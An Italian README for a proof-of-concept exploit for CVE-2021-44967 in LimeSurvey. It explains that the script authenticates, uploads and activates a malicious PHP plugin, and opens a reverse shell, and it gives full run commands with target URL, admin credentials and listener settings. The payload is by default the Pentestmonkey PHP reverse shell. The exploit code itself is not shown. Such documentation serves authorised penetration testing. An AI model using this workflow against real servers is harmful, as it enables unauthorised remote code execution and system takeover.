
Exploit proof-of-concept per CVE-2021-44967 che consente l'esecuzione remota di codice in LimeSurvey 5.2.4 tramite caricamento di plugin dannosi, con capacità di reverse shell.
Proof of concept per CVE-2021-44967. Lo script si autentica a LimeSurvey, carica e attiva un plugin PHP e avvia una reverse shell.
Usalo solo contro sistemi di tua proprietà o per i quali sei autorizzato a eseguire test.
beautifulsoup4, netifaces e requestsnc disponibile nel PATHCrea un ambiente isolato e installa i pacchetti Python:
python3 -m venv .venv
source .venv/bin/activate
python -m pip install beautifulsoup4 netifaces requests
python3 limesurvey_rce.py \
--url https://target.example \
--username admin \
--password 'password' \
--listen-ip tun0 \
--listen-port 4444
--listen-ip accetta un indirizzo IPv4 o un nome di interfaccia e il valore predefinito è tun0. Se --file viene omesso, lo script scarica la reverse shell PHP di Pentestmonkey e la configura con l'indirizzo del listener. Passa --file payload.php per fornire invece un payload PHP locale.
Esegui python3 limesurvey_rce.py --help per tutte le opzioni, incluse le impostazioni di proxy e User-Agent personalizzato.
L'exploit è stato testato contro LimeSurvey Community Edition 6.6.4. Il record CVE descrive il problema in LimeSurvey 5.2.4.